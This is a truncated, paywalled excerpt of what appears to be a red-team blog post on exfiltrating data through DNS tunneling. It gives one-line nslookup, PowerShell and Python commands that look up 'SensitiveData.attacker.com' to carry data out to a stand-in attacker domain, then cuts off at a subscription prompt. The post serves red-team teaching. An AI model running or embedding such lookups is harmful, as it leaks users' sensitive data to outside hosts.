Exfiltration Method for Channels
DNS Tunneling
Using
nslookup
on Linux/macOS:
nslookup SensitiveData.attacker.com
Using PowerShell on Windows:
[System.Net.Dns]::GetHostAddresses("SensitiveData.attacker.com") | ForEach-Object { $_.ToString() }
Using Python on Linux/macOS/Windows:
python -c "import socket; print(socket.gethostbyname('SensitiveData.attacker.com'))"
This one would send 45 bytes p…
Keep reading with a 7-day free trial
Subscribe to RedTeamGuides to keep reading this post and get 7 days of free access to the full post archives.